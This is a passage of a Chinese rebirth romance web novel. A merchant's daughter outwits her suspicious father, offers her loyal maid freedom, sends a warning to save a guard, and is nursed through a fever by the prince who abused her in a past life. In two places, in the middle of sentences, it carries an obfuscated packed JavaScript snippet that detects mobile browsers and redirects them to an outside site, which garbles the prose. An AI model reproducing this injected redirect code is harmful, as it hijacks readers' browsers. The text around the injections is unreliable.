可是听了沐毓露的话，再仔细端详了一番她病中的尊容，忽然间觉得她这个概率基本可以忽略不计。 且她说的不是没有道理，倘若不仅没有引诱到穆衾寒，反而冲撞了这位贵客，岂不是得不偿失？ 亏本的买卖他沐玉罡从来不做。 沉吟着点了点头，他不再强求。 沐毓露刚在心里松了口气，下一秒又听见沐玉罡问道：“不过小露，你以前不是总闹着要见穆王爷么？怎么现在有机会了，你反而不愿意去了？” 沐毓露心里咯噔一下，脑子飞速地转了起来。 重生之后她有意避开穆衾寒，避免沾染导致前世悲剧的一切因果，虽然她已经极力掩饰自己，却还是让沐玉罡看出了反常。 在她实现心里盘算的计划之前，在她离开这个令人窒息的地方之前，她不能让沐玉罡瞧出异常。 沐毓露抬手佯装抹泪，眼珠子一转计上心头：“父亲，不瞒您说，女儿这段时间内心十分煎熬，简直不知道该如何是好。” 沐玉罡一副为女儿解忧的贴心模样，支起耳朵往前凑了凑：“何事煎熬，说来听听？” 沐毓露又抹了一把眼泪：“穆王爷的确是万里挑一的人中龙凤，模样可人身材又好，因此女儿见之不忘，从前总是闹着想嫁给他。但是父亲，您是男人，府里也三妻四妾的，一定能够理解女儿的心情。这意中人嘛其实未必只能是一种类型，白月光与朱砂痣也是各有各的味道……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361932|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沐玉罡听得满脸黑线：“说重点。” 沐毓露轻轻咳了一声：“穆王爷就像那天上的白月光，我确实是喜爱的，但这段时间我又遇着了一个朱砂痣，父亲您不知道，那人的模样竟然生得比穆王爷还漂亮，身段儿比穆王爷还好……” 沐玉罡实在是有点忍不了，咬着牙再一次提醒沐毓露：“说重点。” 沐毓露这才道：“可惜我是女儿身，不像父亲一样可以三妻四妾。要是我也能三夫四妾的就好了，此刻我也就不必如此煎熬了。” 说着她装模作样地叹了口气：“穆王爷我自然是挺喜欢的，但是那朱砂痣女儿也着实是放不下。所以这段时间我有意避开王爷，若是最终我选择了朱砂痣，岂不是白白招惹王爷，令他伤心？” 沐玉罡都快气吐了。 他蹭地一下站起来，指着沐毓露的鼻子点了半天，甚至忘记了问她口中的朱砂痣到底是谁：“成何体统？你简直是成何体统！” 他急得在屋子里转圈：“我怎么没看出来你有这么大志向呢？一个穆王爷还不够，你还想要那什么朱砂痣？我看你是长了个猪脑子！” 他显然还想说些什么，但是被沐毓露气得语言系统失灵，一时间不知道该怎么组织语言了。 重重地叹了口气，他恨铁不成钢地瞪了沐毓露一眼，拂袖转身准备离去：“现在看来你姨娘说得没错，你怕不是把脑子折腾坏了，老老实实在府里待着，不许再跑出去冲撞了人。” 沐毓露做戏做全套，仍旧是一副纠结难安的模样，委屈巴巴地目送着沐玉罡离去。 然而沐玉罡才走了两步，刚行至门前，又猛地转过身来，一脸狐疑地盯着沐毓露。 沐毓露不动声色地回望着他：“父亲还有什么要嘱咐的？” 沐玉罡开口问她：“你方才翻来覆去说什么三妻四妾，不是在指桑骂槐，嘲讽你老子吧？” 说到这里他又想起了什么，脸上狐疑之色更重：“还有，刚才你说沐府宠妾灭妻，这话是谁教你的？” 沐毓露一脸心虚，目光躲闪，不敢与沐玉罡对视，为自己辩解道：“这都是我从话本子里听来的，况且方才女儿也是一时情急，这才口不择言，并非真的说您宠妾灭妻来着……” 沐毓露的反应正好坐实了沐玉罡心中的猜测，他当即阴沉着脸道：“在你爹面前还不肯说实话？我问你，这些话是不是昭氏教你的？” 沐毓露连忙否认：“怎么会呢，母亲一向嫌弃女儿吵闹，连每日的请安都免了，平时也不许我到她跟前去伺候，我一个月都未必见得着母亲一面，哪里有机会听她跟我说这些。” 沐玉罡连声冷笑：“你也不必替她遮掩，她是你母亲，何曾尽到过一个母亲的责任？将好好一个女儿养成你这个样子……” 说到这里他的声音戛然而止，他想起自己此番并非来讨伐沐毓露的，于是将话题转了回来：“这些话既然不是听昭氏说的，那你是从何听来的？一五一十给我讲清楚了。” 14. 第14章 沐毓露一副为难的样子，最后还是在沐玉罡的注视下妥协，支支吾吾地开口道：“也不过是听府里的丫头小厮们嘀咕了几句，哪家的奴才不嚼主子舌根的？也不是多大的事，父亲可别再追究下去了。” 沐玉罡继续冷笑：“你倒是通情达理，做起你老子的主来了。” 沐毓露瞬间像个鹌鹑似的缩了回去：“女儿怎敢？只是……只是您才发落了清芜院的一帮小厮，这时候就不便再继续追究此事了。” 她抬头飞快地望了沐玉罡一眼：“否则府中人心惶惶，谁还肯认真做事？” 她这番话倒也有理，沐玉罡自个儿琢磨了一下，然后冷哼一声：“管理府中人员，调教丫头小厮，这些事本该是你娘操持，现在反倒要你老子过问。” 他颇为烦恼地啧道：“行了，这事儿还轮不到你操心，这些日子你就老实在府里养病，消停点儿，别再给我惹事。” 说完他一拂袖子转身离去。 沐毓露这才彻彻底底松了口气，虚弱地躺回床上。 转首望向沐玉罡离开的方向，她眸中光芒闪烁，眼神却很幽深。 沐玉罡身为她的父亲其实并不了解她，但她却十分了解沐玉罡的个性。 她知道他生性多疑，一旦从她口中听到宠妾灭妻这几个字，迟早会怀疑到沐昭氏的头上去，如今这结果倒也没有枉费她的一番心思。 若非她一口一个宠妾灭妻三妻四妾，沐玉罡又怎会将注意力转移到沐昭氏身上，怎能轻易放过她。 且让她母亲和王姨娘斗去吧，只有他们几个人互相斗起来，才无暇注意她。 才从昏迷中醒来便遇到这档子破事儿，耗费心力与沐玉罡周旋，又同王姨娘斗法，沐毓露着实是有些累了。 说想留在府中养病，这倒也是她的真实想法。 若是再不好好休息休息，恐怕她这辈子会比上辈子更加英年早逝。 心云在这时推门进来，见沐毓露被子也不盖，就这么四仰八叉地躺在床上，不由吓了一跳，快走几步来到她跟前，然后俯身探了探她的鼻息。 沐毓露无语地把她的手推开：“没死，还有气儿。” 心云把手收回来，帮她把被子盖好：“小姐你可不能再这么折腾了，就是铁打的身子也经不起一天落两次水，何况你的身子一向都不大好，要是就这么倒下了可怎么得了。” 沐毓露嘴角抽搐了一下，不自觉提高了嗓门：“所以你也以为昨晚我是故意跳进湖里，想要博取同情解除禁足，重新出府去找穆衾寒？” 心云被她的反应吓了一跳：“难道……不是吗？” 沐毓露有点绝望，也越发感觉到前世的自己是多么无可救药。 就连心云都不相信她昨晚是真的意外落入水中的，沐玉罡等人自然就更不会相信了。 躺在床上整理了一下情绪，她平静地开口说道：“既然你以为我是故意跳进湖里的，那你方才说的那些话，就是在对老爷撒谎。” 心云扑通一声跪下：“小姐，我也不敢对老爷撒谎的，我只是……” 不待她把话说完，沐毓露竖起大拇指夸奖她：“你做得很好。” 心云疑惑地抬起头来，正对上沐毓露的目光。 自从前次沐毓露自缢未遂之后，她便隐隐感觉小姐有什么地方不一样了，但那只是一些隐隐约约的感觉而已，心云没有往这方面深思过。 可是此刻对上沐毓露的目光，她突然觉得眼前的小姐与从前不一样的感觉变得无比真切起来，就好像此刻在她眼前的人只是披了一层沐毓露的皮，里面的芯不知在何时已经换了。 她从未在任何人眼中见到过如此阴寒的目光，在她的心里，这样的目光尤其不可能出现在小姐眼中。 可是此刻沐毓露就这样注视着她，目光平静得仿佛没有一丝感情，如同冬天的湖面上结了厚厚一层冰，底下却有她看不透的情绪正在翻涌。 沐毓露又夸了她一句：“你做得很好，记住了，以后在这府中对任何人都不能说实话，尤其是面对老爷的时候。” 心云听得出沐毓露语气中的坚决，她没有多问什么，应了一声后重重地点了点头。 沐毓露勾了勾唇角，收了严肃的表情，又恢复了平时玩世不恭的模样。 她伸出手摸了摸心云的脑袋：“二小姐和三小姐都要搬到别院山庄去住一段时日，只有我不去，辛苦你留在府里照顾我了。” 她叹了口气，唤了声心云的名字：“别人的丫头都可以跟着主子一起吃香喝辣，而你只能跟着我在这里受苦，我觉得我对不起你。” 心云吓了一跳，当即哭出声来：“我跟着小姐从来不觉得是在受苦，小姐千万不要把我放出府，我不想嫁人呜呜呜……” 沐毓露愣了一下，一时间没有反应过来。 自己不过是感慨了两句，并没有提到要将她放出府去，心云何至于哭得如此撕心裂肺？ 过了一会儿她才想起来，前世的她的确总是用把心云放出府，将她随便许配给农庄的小厮这样的话来吓唬她。 而每次吓唬她之前，她几乎都是这样的开场白。 沐毓露第无数次觉得前世的自己当真是混账。 她盯着跪在地上瑟瑟发抖的心云，一时间有些出神，好半天才开口问道：“心云，其实我有个问题一直想问你。” 组织了一下语言，她接着道：“你跟着我没有享过一天的福，我待你也并不是很好，总是用把你赶出府这样的话吓唬你，你为什么还要对我如此忠心？” 心云埋首啜泣：“因为小姐是主子，我是奴婢，奴婢忠心小姐是天经地义的事情。” 说着她哭得越发厉害，险些喘不过气：“小时候家里穷得吃不上饭，父母不得已将我卖进沐府，这才给家里换得一口粮吃。母亲在我进府前便反复叮嘱过我，沐府的主子就是我们全家的救命恩人，我若是不忠心，那就活该被打死。” 沐毓露听得目光沉沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361933|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，心知她说的是大实话，也确确实实是这么个道理，但始终觉得哪里不对。 总之，听到心云这样说，她并没有觉得感动，反而心里很不舒服，却又说不出那令她感到不舒服的地方具体在哪里。 就这样兀自琢磨了一番后，她再次开口问心云：“倘若我给你银两送你出府呢？” “你方才说沐府的主子是你们全家的救命恩人，所以你忠心于我，也可以说是在报恩。那若是我觉得这些年你伺候得很好，恩情都报完了，所以给你银两好生送你出府，你愿意吗？” 心云使劲儿摇头，上前死死抱住沐毓露的胳膊：“是心云哪里做得不好吗？求小姐不要赶我出府。” 沐毓露听得匪夷所思，她扶起心云，抬起她的脸，让她与自己对视，然后一字一句地对她道：“你没有哪里做得不好，我也没有生你的气，给你银两送你出府并非是赶你出去，而是放你自由。” 说完她补充道：“你的卖身契也是可以还给你的，难道你不想要自由吗？” 心云一脸茫然地注视着沐毓露，确认小姐脸上确实没有一丝一毫的怒气后，这才歪着脑袋仔细想了想，然后继续摇头：“小姐，我不想出府。” “进京的时候我年纪太小，早就不记得自己的家在哪里，也不记得我的父母亲人。” “小姐，说句冒犯的话，这些年我早就将小姐视作亲人了，若是离开沐府，离开你，我不知道自己还可以去哪里。” “我知道外面的世界天大地大，可我只是一个女子，外面的天地没有我的容身之处，我不想离开你，我怕……” 听到这里沐毓露终于明白方才她为何会感觉心里不舒服。 心云并非不愿离府，而是不敢离府。 其实前世的自己不也是这样的么？ 她一直都想离开沐府，可又害怕离开这里之后自己无处可去，到底沐玉罡是她的爹，沐府是她名义上的家。 她不过是一介女子，离开父亲与沐府的庇护，她还能去哪里？ 她害怕外面的世界，畏惧外面的风雨，她不是不愿离开，而是不敢离开。 其实前世的她也并非没有想过办法，她费尽心机为自己寻得了新的庇护者。穆衾寒几乎是全京城贵女的闺中梦里人，她一度以为嫁给他之后自己的命运会有一个新的开始，从此她将过得顺遂，有人呵护，有人疼惜。 然而她万万没有想到，原来嫁给穆衾寒才是真正噩梦的开始。 闭上眼睛摇了摇脑袋，她不愿再忆起过去的人和过去的事。 过去的就让它过去吧，重新活这一回，她绝不能再像前世那般稀里糊涂的生，浑浑噩噩的死。 她不会再回头看，她要向前走。 睁开眼睛对上心云胆怯又担忧的目光，沐毓露垂首抚上她的脸：“你相不相信，女子也可堂堂正正立于天地之间？” 她拭去她脸上的泪：“别怕，我会带你一起离开这里，我们一起走出去。” 15. 第15章 第二日沐昭氏便带着二小姐沐晚意一道出府去山庄旁边的寺庙礼佛了，没过几日王姨娘便紧随其后，匆匆忙忙带着尚未好全的沐星子往山庄而去。 沐晚意已经在山庄待了好几日，说不定连穆王爷的面都见上了，王姨娘心急如焚，说什么也要让沐星子赶上这口热粥。 一时间府里的人几乎全走光了，只留下沐毓露一个人在府中看家。 沐毓露便在这个时候不凑巧地病倒了。 她这场病来势汹汹，仿佛是身体在报复她不爱惜自己。她开始反反复复地发烧，烧得七荤八素神智不清，不知今夕是何夕。 在烧得最厉害的时候她竟然攥着心云的手喊穆衾寒的名字。 心云都快吓死了，不知道自家小姐这是在闹哪一出。 小姐不是已经不喜欢穆王爷了吗？ 这到底是烧糊涂了还是病中真情流露？ 她十分担心沐毓露烧成一个傻子，每日寸步不离地照顾着她，就连煎药都是守在沐毓露房间门口完成。 沐毓露病成个样子是万万离不得人的，也亏得心云想出来这个法子，将药罐从厨房搬了出来，又自己去买了个小炉子，把炉子架在院子里，每日就在这小炉子上熬药煮粥。 沐毓露病得很重，吃不下什么饭，每日最多就喝几口稀粥，用这个小炉子煮粥足够了。 看着沐毓露病中憔悴的模样，心云不由得更加难过。 老爷说是让小姐在府中好好养病，实际上根本是把她一个人丢在府里不管她的死活。 夫人和二小姐早在几日前就搬到别院山庄去了，昨日沐玉罡也领着王姨娘和三小姐离开沐府，顺道带走了大部分的丫鬟小厮以及所有的厨子。 偌大一个沐府此刻就是个空壳子，只剩下病重的沐毓露和她唯一的丫鬟心云相依为命。 虽说府中还留了少许婆子丫鬟看家，但那些人哪里是心云使唤得动的，沐府的人一向都不把沐毓露放在眼里，如今她病着，就更加没人搭理她们了。 因此照顾病重的沐毓露，整个院子里里外外都是心云一个人在忙碌。 其实这倒也罢了，心云不怕吃苦，最让她忧心的是沐毓露的病势十分反复，几副药抓下去，她平日里攒下的银两便都用光了。 心云不得已卖掉了自己积攒多年的衣衫首饰，换了一些铜钱给沐毓露请大夫。 可这终究不是长久之计，她攒的那些体己钱根本就用不了多长时间，若是沐毓露的烧始终退不下去，恐怕还得请别的大夫来瞧瞧，后面多的是用银子的时候。 心云也没有想到，京城富贾家的小姐，竟然会有没钱看病的时候，说出去恐怕都没人相信。 两日后最后一剂药煎完了，沐毓露的病情依旧没有好转，甚至看起来比前几日还要严重很多。 烧得最厉害的那一晚，沐毓露生生喊了一晚上穆衾寒的名字，那声音细若蚊蝇，如泣如诉，听得人十分揪心。 哪有人能烧这么久的？ 等烧退了估计人也成了傻子了。 心云难过地注视着躺在床上喃喃自语的沐毓露，估摸着小姐平时只是在嘴硬，实际上仍然放不下穆王爷，否则怎会在病中无意识地喊他的名字？ 想着想着她又开始为小姐担心，若是沐毓露当真烧成了傻子，那便更没有机会嫁给穆王爷了。 重重地叹了一口气，她在心里做下一个决定，起身坚定地往屋外走去。 便在这时沐毓露从昏睡中醒了过来，她唤住心云，让她给自己倒一杯水喝，一边喝一边问她方才是要去哪儿。 心云不敢隐瞒：“我去山庄找老爷去，让他给些银两，我好再去帮小姐找大夫。” 沐毓露苦笑着摇头：“别白费工夫了，首先山庄的门你就进不去。” 心云声音里满是心疼：“可小姐也不能就这么烧着呀，要是脑子烧坏了可怎么好？” 沐毓露伸手让心云扶她起来，颤颤巍巍地在地上走了两步，她喘了口气：“这几日躺在床上，躺得骨头都软了，沾沾地气儿说不定能好得快点。你放心吧，我还死不了。” 说话间她抬眼望见桌上搁着一件新衣裳。 她扭头问心云：“桌上放的是谁的衣裳？” 心云顺着沐毓露的目光望过去，然后绽开一个笑容：“这个呀是前几日风护院托人送过来的，他走的时候还留下了一些银两，让我给小姐买药。” 说到这里心云的笑脸垮了下来：“那些药也太贵了，如今药吃完了，银两也没有了，小姐的病却还没有好。” 沐毓露望着那件衣裳蹙了蹙眉。 那衣裳颜色鲜亮，绣工精致，一看便要价不菲，风问棠平白无故的给她买这么贵的衣裳做什么？ 不过很快她便看了出来，这件衣裳与沐星子为参加庙会定制的那一套衣裳出自同一家成衣店。 如此她便清楚了，想是风问棠以为她是为了一件衣裳才与沐星子怄气，在府里闹出这样大的动静，所以悄悄去同一家成衣店为她买了件新衣服。 望着那件静静地躺在桌上的衣裳，沐毓露不觉心中一软。 心云观察着沐毓露的表情，适时地为风问棠助攻：“这风护院真是个心细的，待小姐当真是极好。想是他听闻清芜院因为一件衣裳找您的麻烦，这才赶紧去同一家成衣店为你挑了件新衣服，小姐看看可还喜欢吗？” 沐毓露只是笑了笑，没有接心云的话。 心云继续自顾自地道：“若风护院还在京中就好了，我倒也可以去寻他，他一定会替小姐寻医问药，不会把你一个人扔在这里不管的。” 沐毓露顺着她的话问了一句：“风护院此刻不在京中？他去哪里了？” 心云叹了口气：“还不是跟镖局一起运货去了，他来送衣裳的时候跟我说了一声，有一批很重要的货物要送到白虎国去，老爷不放心镖局，命他同镖局一起护送，今儿一大早就得动身。” 沐毓露在听到白虎国三个字时神情就变得有些严肃，在听见心云说今天一大早风问棠便要动身出发时，她似乎在心中确定了什么事情一般，一把攥住了心云的手。 心云有些吃 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前世她关于风问棠的记忆便止步于此了。 失去一只手臂的护院自然没有了价值，他再也舞不了剑，再也保护不了任何人，回到沐府养好伤之后他便就此消失，没有人知道他去了哪里，实际上也无人在意。 可是这一世的沐毓露在意。 她将信郑重其事地塞进心云手里：“你现在去镖局，问清楚他们运送货物的路线，然后去找风问棠，将这封信交到他手里。告诉他，如若他必须运送这批货物，无法半道折返，那就立即改道。” 她思索片刻后嘱咐道：“若要改道便索性改为水路，不要再走陆路了。” 心云听得一头雾水，她懵懵懂懂地接过沐毓露给她的信，“小姐，为什么突然要风护院他们改道？” 沐毓露自然是没法向她解释的，此刻情况紧急，也容不得她慢慢解释。 她强撑着力气站起身来，用力地推了心云一把：“先别问那么多了，你快点去，再晚就来不及了。” 心云也跟着沐毓露一起着急起来：“可是小姐你还病着，身边离不得人，我得留在这里照顾你呀。” 她咬了咬牙，想了个法子：“这样吧，我去求府里的婆子，让她们找个人帮忙跑一趟，这也是为了老爷的货物，想来她们不会拒绝。” “不是为了货物，是为了人！”沐毓露更着急了：“货物没了就没了，人没了才是真的回不来了，你听我的，这封信必须你亲自去送。” 不待心云回话，沐毓露更加用力地攥紧了她的手，一字一句地道：“人命关天，别人我都信不过，我只信得过你。” 心云怔在了原地。 她呆呆地望着沐毓露，见她虽然一副焦急万分的模样，但说话时仍然很有头绪，不像是烧糊涂了的样子。 最后犹豫了一下，她将信揣进怀里，嘱咐沐毓露这段时间一定要好好照顾自己，然后转身朝外面跑去。 16. 第16章 沐毓露软了身子，倚在门框上，注视着心云离去的背影。 心云到底能不能阻止悲剧的发生，改变风问棠的命运，沐毓露心里其实一点底都没有。 回想起元宵节庙会那天晚上，她为了躲开穆衾寒，向沐玉罡自请禁足，早早的就上床睡觉，却没想到等来了爬床的穆衾寒。 一想到这个沐毓露就忍不住一阵恶寒。 她怎么就躲不开这个瘟神呢？ 更可怕的是，这一世的记忆与上一世相结合，她感觉自己无意间发现了一些不得了的秘密。 怪不得前世在庙会上见到穆衾寒时，她就瞧他神色有些古怪，一副心事重重的样子。 怪不得前世逛完庙会回到房间之后，她总感觉好像有人进过她的屋子。 如今两世的记忆串联起来，一切都解释得通了。 今生的她做了与前世截然相反的选择，因此见到了前世绝不会瞧见的一些东西，譬如夜闯闺房的穆衾寒，譬如半夜爬她家房顶的粉衫男子。 她原本以为重生之后一切都在她的掌控之中，可是现在看来，还多的是她不知道的事。 剩下的路到底该怎么走，她到底能不能改变命运，将她与穆衾寒之间的这段孽缘彻底斩断？ 她自己也不知道。 她承认前世是她死缠烂打并且使了一些见不得光的手段才把自己嫁入穆王府，因此按理来说她与穆衾寒之间的缘分是全靠她单方面强求来的。 既然今生她刻意避开穆衾寒，两人之间那点浅薄的缘分应该彻底断了才是。 然而事实并非如此。 重活一回之后，她发现她与穆衾寒当真是有一些孽缘在身上的。 她不仅仍然在庙会那晚见到了穆衾寒，而且还和他说了那样多的话，这是前世的她梦寐以求都求不来的经历。 怎么感觉越躲着他，他越像个狗皮膏药似的贴上来呢？ 孽缘，一定是孽缘。 沐毓露想得有些头疼。 她的病原本就没有好，把心云赶走之后这院子里便只剩下她一个人，无人照顾她，她又成日的胡思乱想，自然就病得更重了。 当晚她便烧得浑身滚烫，像块炭似的躺在床上，连给自己倒杯水的力气都没有。 夜色越来越深，她的意识渐渐模糊，恍惚间她觉得自己仿佛回到了从前。 回到了被穆衾寒赐下一条白绫吊死之前的那段最黑暗的时光。 生病了无人照顾，丢她一人自生自灭，这是前世的她常常经历的遭遇。 在她人生的最后几年里，穆衾寒可谓恨她入骨。 他用各种各样的法子折磨她，却又不让她立时就死，而是让她生不如死地被囚禁在那个小黑屋里，叫天天不应，叫地地不灵。 每一次受伤或者重病，沐毓露都凭借着顽强的生命力活了下来，可是活下来之后等待着她的只有比以往更甚的报复。 比起身体上的伤害，那段时间遭受的精神创伤才是沐毓露最恐惧的。 哪怕走了一道鬼门关，隔了一重生死，如今忆起仍觉毛骨悚然。 想到这里她不禁又是一阵惊悚。 难道所谓的重生只是一场梦么？ 难道她根本没有死，也无所谓重生，她仍然是穆王府里最低贱的侍妾，是穆衾寒极为厌恶且下定决心要报复至死的人？ 她浑身像筛子似的抖了起来，不知道是因为发烧还是因为想到了穆衾寒。 更可怕的事情还在后面，她刚因为想到穆衾寒而惊惧得睡不着觉，下一秒这个活阎王居然推开门出现在了她的眼前。 穆衾寒推门而入的一瞬间，沐毓露像只受伤的小兽般惊恐后退，惊惶失措间还不小心咬伤了自己的舌头。 血腥味在唇齿间弥漫开的时候，她冷汗涔涔白眼一翻仿佛又一次看见了自己的太奶。 果然重生什么的都只是一场梦罢了，她没能重活一次，也没有机会改变自己的命运。 穆衾寒推开门见到沐毓露的时候似乎也被吓了一跳，他没想到不过短短几日的时间，沐毓露竟然就病成了这副模样。 他原本以为沐毓露随沐玉罡一起搬到了别院山庄，潜入沐府的时候他压根没有想过来这里寻她。 可是无意间听见沐府的婆子们说大小姐晦气得连老爷都不愿见到她，丢她一人在院子里自生自灭，如今她得了重病，是生还是死恐怕就在这两日之间了。 不知道为什么听见这些话时他心中有些发堵，然后鬼使神差地寻到了这位沐府大小姐的院子里，推开门果然见到了他想要见到的那个人。 沐毓露便是那些婆子口中晦气的大小姐。 蹙眉凝望着沐毓露，他张嘴说了句什么。 可是沐毓露实在病得厉害，此刻她头疼欲裂，耳畔一阵嗡鸣，根本就听不清他说了些什么。 她只知道眼前的穆衾寒是她从未见过的温和模样。 见他不像是要来继续折磨她的样子，她逐渐放松戒备，迷迷糊糊闭上了眼。 再睁开眼时，她见到穆衾寒正端着一碗清水，一边轻轻地扶起她，一边小心翼翼地将水凑到她的唇边。 什么叫久旱逢甘霖？ 什么叫云开见月明？ 嗓子都要冒烟的沐毓露终于迎来了这些天来的第一杯水。 她也不抬地喝光了一碗水，然后倚靠在穆衾寒的胳膊上，仰起脑袋可怜巴巴地望着他。 穆衾寒心领神会，立马又给她倒了一碗水来。 靠在穆衾寒怀里连喝了三碗水，沐毓露终于得救了。 嗓子不再像之前那样干燥得仿佛能冒出火来，她终于能够开口说话。 然而她说的第一句话便令穆衾寒觉得十分莫名其妙。 她喊他的名字，含情脉脉地注视着他，然后哽咽着问：“衾寒，你是不是原谅我了？” 这回轮到穆衾寒打了一个冷颤。 这丫头在说什么胡话？ 沐毓露抱住穆衾寒的胳膊，像只小猫似的黏着他，脑袋不停地往他胳膊上蹭，锲而不舍地继续问：“你来照顾我，还给我水喝，你是不是原谅我了？” 穆衾寒垂下头，若有所思地注视着她，沉默地等待着她的 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穆衾寒听不下去了，他打断了沐毓露的陈情，抬手整理了一下她凌乱的头发：“你当真不是烧糊涂了？你知道自己在说什么吗？” 什么给他下药，什么嫁给他之后一次都没碰过她？这丫头生病梦魇了不成？ 沐毓露再次情真意切地唤了一声穆衾寒的名字，鼓起勇气伸出胳膊搂住穆衾寒的腰，整个人埋进了他的怀里：“穆衾寒，我才是最爱你的人。我什么都没有了，我只剩下你，求求你不要抛弃我。” 穆衾寒不曾与任何女子这般亲近过，在沐毓露靠过来的一瞬间他下意识想要把她给扔出去，但怀里的人滚烫得像个烤焦了的山芋，再一次鬼使神差地，他伸手揽住了她。 沐毓露昏昏沉沉地在他怀里睡去。 穆衾寒不仅没有抛弃她，竟然还衣不解带地照顾着她。 病中的沐毓露与清醒时的她简直像是两个人。 犹记得第一次与她相见时，她一副见了鬼的模样，看见他之后转身拔腿就跑，他甚至连她长什么样子都没有看清楚。 第二次相见是在她的闺房，这回他倒是看清楚了她的模样，可是这丫头居然敢拿刀抵在他的脖子上。 他不明白她对自己莫名其妙的恨意究竟从何而来，就好像此刻他也不明白她对他刻骨铭心的爱意又是因何而起。 每次她从昏睡中短暂地醒来时，总是极其依赖穆衾寒，抱着他的胳膊不肯撒手，水汪汪的眼睛里满是仰慕和依恋。 每一次穆衾寒垂首与她对视，都觉得自己会溺死在她那温柔得齁人的目光里。 无法用言语表达的缠绵与眷恋，简直都快要从她的眼睛里溢出来了。 有时穆衾寒甚至不敢与她对视。 他一贯清冷，一时之间有些承受不起这般炽热的情感。 其实京中爱慕他的女子多如过江之鲫，每次出席宴会时他都会收到那些贵女们或娇羞或直接的充满爱意的目光。 但那些目光里蕴含的爱意远没有沐毓露这般痴缠。 她的眼神里有许多说不清的执念，就仿佛她爱他，已经刻骨铭心地爱了一辈子。 17. 第17章 后来穆衾寒派人悄悄为沐毓露寻来了宫中的御医，几副药下去沐毓露的病情稍微有所好转。 这几日穆衾寒一直留在沐府照顾她，有时候他也不明白自己到底在干什么。 每一次想狠狠心抛下她离开时，她那小狗般摇尾乞怜的目光就会浮现在他眼前，然后他离开房间的脚步就会缓缓停下，站在原地沉默片刻，转而再去为她倒一杯水。 他在心里对自己说，之所以照顾她，是因为不明白她发烧时所说的那些话到底是什么意思，他要等她清醒过来后找她问清楚。 虽然那些话听起来像是疯言疯语，可她求他原谅她不要抛弃她时，那眼神和语气都太过真切，就好像她当真经历过那些可怕的事情一样。 她曾经嫁给过他，而他却恨她入骨？ 他皱着眉头坐在床沿，一边回忆与她初相见时的情景，一边结合她近日所说的这些胡话整理着思绪。 冷不防一双手攀上了他的腰，打断了他的思绪，下一秒一个脑袋凑了过来，在他的背上轻轻地蹭。 是沐毓露醒了。 穆衾寒不自知地将紧皱的眉头舒展开，然后转过身来，很自然地将不安分的沐毓露拥进怀里。 每次沐毓露从昏睡中醒来时，都要用这种腻死人不偿命的方式感知他的存在，这几日相处下来，他竟然在不知不觉间习惯了。 垂首注视着乖乖巧巧倚在自己怀里的沐毓露，他抬手探了探她的额头：“醒了？今天感觉怎么样？” 沐毓露没有回答好或不好，她只是委屈巴巴地哼唧了一声，然后抬起脑袋眼泪汪汪地与他对视。 又来了。 这丫头又想用甜腻的目光齁死他。 穆衾寒再一次蹙了蹙眉，唇角却遏制不住地往上扬。 他还没有意识到此刻小鹿乱撞般回荡在自己胸腔里的情绪名为喜悦，下一秒沐毓露便闭上眼睛哇地一声哭了出来。 “穆衾寒，你怎么还在这里守着我呀？你人也太好了吧？”她哭得一把鼻涕一把泪：“我知道以前是我错了，我反思我忏悔，我简直就不是个人，你要不还是惩罚我吧，你这样我心里不安……” 穆衾寒沉默了一会儿，再次抬手摸了摸她的额头。 烧都退得差不多了，怎么还在说胡话？ 他万万没有想到的是，接下来沐毓露说的胡话杀伤力更大：“我害得你没了孩子你居然还愿意不计前嫌照顾我，我不该给你下药，我这么恶毒真的配不上你，我也不该嫉妒王妃，她才是你名正言顺的妻子，我算个什么东西……” 穆衾寒瞬间黑了脸。 什么王妃？谁的王妃？ 她说自己害得他没了孩子，可是他分明还是个待字闺中的王爷，哪里来的孩子？ 好歹他也照顾了这丫头好几天，她怎么一张嘴就是诽谤？ 沐毓露却始终沉浸在自己愧疚自责的情绪里，没有注意到穆衾寒表情的变化。 她继续哭着道：“可是我真的好爱你，我这么爱你，怎么可能容忍得了你跟别的女人在一起？” 虽然是在哭，但她的声音里不自觉带了些狠意：“每次看到你跟别的女人在一起，我就控制不住想杀人。” 穆衾寒没有打断她。 沐毓露所说的这些话实在太炸裂，他需要时间缓一缓。 而且他很好奇，她究竟还能说出些什么疯话来。 沐毓露哭了半天，有些哭累了，她蜷缩在穆衾寒怀里休息了一会儿后，深吸一口气像是下定了某种决心。 她艰难地从穆衾寒怀里钻出来：“算了，你好好和王妃过日子吧，是我对不起你，但孩子还会有的。我实在做不到和别的女人一起分享你，我退出我离开，我真心实意祝你们幸福。” 说着她踉踉跄跄地想要下床，穆衾寒一把拉住她：“你要去哪里？” 沐毓露执着地想要往床下走，开口说出的话令穆衾寒十分火大：“我打算去个没人的地方死一死，就当以命偿命了，对了王爷你赏我的那条白绫去哪儿了？” 他什么时候又赏过她白绫了？ 穆衾寒强忍住心中莫名的怒意，将已经爬下床还想往门外走的沐毓露打横抱起，然后把她轻轻放回床上。 被抱回床上的沐毓露仍旧很不安分，挣扎着还想下床，被穆衾寒一把按住。 他一只手按住她的右肩，另一只手撑在床上，垂首俯身靠近她：“不知道你在说什么。” 他越靠越近，温热的唇几乎要触碰到她的耳垂：“但是你很想嫁给我？” 炽热的呼吸扫在她的耳畔，她瞬间安静了下来。 